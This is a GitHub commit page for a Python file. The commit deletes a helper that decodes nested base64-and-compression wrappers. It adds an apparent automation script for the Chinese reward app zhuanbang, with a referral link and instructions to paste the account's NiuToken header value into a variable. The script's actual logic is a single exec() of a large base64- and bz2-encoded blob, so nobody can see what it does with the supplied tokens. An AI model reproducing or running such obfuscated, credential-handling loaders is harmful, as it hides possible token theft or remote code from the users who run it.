-
Notifications
You must be signed in to change notification settings - Fork 892
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
41 additions
and
126 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,126 +1,41 @@ | ||
import base64 | ||
import bz2 | ||
import zlib | ||
import lzma | ||
import gzip | ||
from datetime import datetime | ||
#from Crypto.Cipher import AES | ||
#from cryptography.fernet import Fernet | ||
#from Crypto.Cipher import ChaCha20 | ||
# 获取当前日期和时间 | ||
now = datetime.now() | ||
|
||
# 将日期和时间格式化为字符串 | ||
formatted_date = now.strftime("%Y-%m-%d %H:%M:%S") | ||
|
||
|
||
def try_decompress(data): | ||
try: | ||
decompressed_data = gzip.decompress(data) | ||
return decompressed_data | ||
except Exception as e: | ||
pass | ||
# 尝试使用 bz2 解压缩 | ||
try: | ||
decompressed_data = bz2.decompress(data) | ||
# print("使用 bz2 解压缩成功") | ||
return decompressed_data | ||
except Exception as e: | ||
pass | ||
# 尝试使用 zlib 解压缩 | ||
try: | ||
decompressed_data = zlib.decompress(data) | ||
# print("使用 zlib 解压缩成功") | ||
return decompressed_data | ||
except Exception as e: | ||
pass | ||
# 尝试使用 lzma 解压缩 | ||
try: | ||
decompressed_data = lzma.decompress(data) | ||
# print("使用 lzma 解压缩成功") | ||
return decompressed_data | ||
except Exception as e: | ||
pass | ||
# 如果无法解压缩,则返回原始数据 | ||
return data | ||
|
||
|
||
def try_decode_base64(data): | ||
try: | ||
decoded_data = base64.b64decode(data) | ||
# print("使用 base64 解码成功") | ||
return decoded_data | ||
except Exception as e: | ||
pass | ||
# 如果无法解码,则返回原始数据 | ||
return data | ||
|
||
|
||
def extract_base64_encoded(data): | ||
# 查找 base64.b64decode( 的起始位置 | ||
start_idx = data.find("base64.b64decode(") | ||
if start_idx == -1: | ||
return None # 如果未找到目标字符串,返回 None | ||
# 查找 ' 的位置,从 base64.b64decode( 后面开始找 | ||
quote_idx = data.index("'", start_idx + len("base64.b64decode(")) | ||
# 提取 'XXXX' 中的 XXXX 部分 | ||
encoded_string = data[quote_idx + 1:data.index("'", quote_idx + 1)] | ||
return encoded_string | ||
|
||
|
||
def Encoded_script_decode(data): | ||
|
||
return | ||
|
||
|
||
def decrypt_nested(data): | ||
while True: | ||
new_data = try_decode_base64(data) | ||
# print("解密前的数据:", data) | ||
new_data = try_decompress(new_data) | ||
# print("解密后的数据:", new_data) | ||
if "exec(" in str(new_data): | ||
# 更新 decrypted_data 以便下一次循环使用 | ||
if "Encoded script" in str(new_data): | ||
new_data = "该加密未适配 敬请期待" | ||
print("该加密未适配 敬请期待") | ||
break | ||
elif "exec(" in str(new_data): | ||
data = extract_base64_encoded(str(new_data)) | ||
else: | ||
print("未知 加密 无法进一步解密") | ||
new_data = "未知 加密 无法进一步解密" | ||
break # 如果 new_data 中不再包含 "exec",跳出循环 | ||
# print(data) | ||
else: | ||
print("无法进一步解密,退出循环") | ||
break # 如果 new_data 中不再包含 "exec",跳出循环 | ||
|
||
return new_data # 返回最终解密后的数据 | ||
|
||
|
||
with open('./input.py', 'r', encoding='utf-8') as file: | ||
# 读取文件内容 | ||
content = file.read().strip() | ||
# 打印内容 | ||
encoded_data = extract_base64_encoded(content) | ||
# print(encoded_data) | ||
# 解密嵌套加密数据 | ||
final_decrypted_data = decrypt_nested(encoded_data) | ||
# 输出最终解密结果 | ||
# print("最终解密结果:") | ||
def process_data(data): | ||
if isinstance(data, str): | ||
# 如果是字符串,则编码为字节对象 | ||
byte_data = data.encode('utf-8') | ||
elif isinstance(data, bytes): | ||
# 如果已经是字节对象,则直接使用 | ||
byte_data = data | ||
else: | ||
# 如果不是字符串也不是字节对象,抛出异常或做其他处理 | ||
raise TypeError("Expected string or bytes-like object") | ||
return byte_data | ||
|
||
print(final_decrypted_data) | ||
with open("./onputPy.py", 'wb') as f: | ||
f.write(process_data("#")+process_data(formatted_date)+process_data("\n")+process_data(final_decrypted_data)) | ||
# --------------------------------注释&变量区-------------------------------- | ||
# 入口 https://app.zhuanbang.net/invite/7079 | ||
# 找请求头中NiuToken的值 | ||
# NiuToken=**** 只要**** NiuToken=不要填 NiuToken=不要填 NiuToken=不要填 | ||
# 变量名:yuanshen_zb 多号@分割 | ||
# --------------------------------一般不动区-------------------------------- | ||
# _ooOoo_ | ||
# o8888888o | ||
# 88" . "88 | ||
# (| -_- |) | ||
# O\ = /O | ||
# ____/`---'\____ | ||
# . ' \\| |// `. | ||
# / \\||| : |||// \ | ||
# / _||||| -:- |||||- \ | ||
# | | \\\ - /// | | | ||
# | \_| ''\---/'' | | | ||
# \ .-\__ `-` ___/-. / | ||
# ___`. .' /--.--\ `. . __ | ||
# ."" '< `.___\_<|>_/___.' >'"". | ||
# | | : `- \`.;`\ _ /`;.`/ - ` : | | | ||
# \ \ `-. \_ __\ /__ _/ .-` / / | ||
# ======`-.____`-.___\_____/___.-`____.-'====== | ||
# `=---=' | ||
# | ||
# ............................................. | ||
# 佛祖保佑 永无BUG | ||
# 佛祖镇楼 BUG辟邪 | ||
#佛曰: | ||
# 写字楼里写字间,写字间里程序员; | ||
# 程序人员写程序,又拿程序换酒钱。 | ||
# 酒醒只在网上坐,酒醉还来网下眠; | ||
# 酒醉酒醒日复日,网上网下年复年。 | ||
# 但愿老死电脑间,不愿鞠躬老板前; | ||
# 奔驰宝马贵者趣,公交自行程序员。 | ||
# 别人笑我忒疯癫,我笑自己命太贱; | ||
# 不见满街漂亮妹,哪个归得程序员? | ||
# | ||
# --------------------------------代码区-------------------------------- | ||
import bz2, base64 | ||
exec(bz2.decompress(base64.b64decode('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'))) |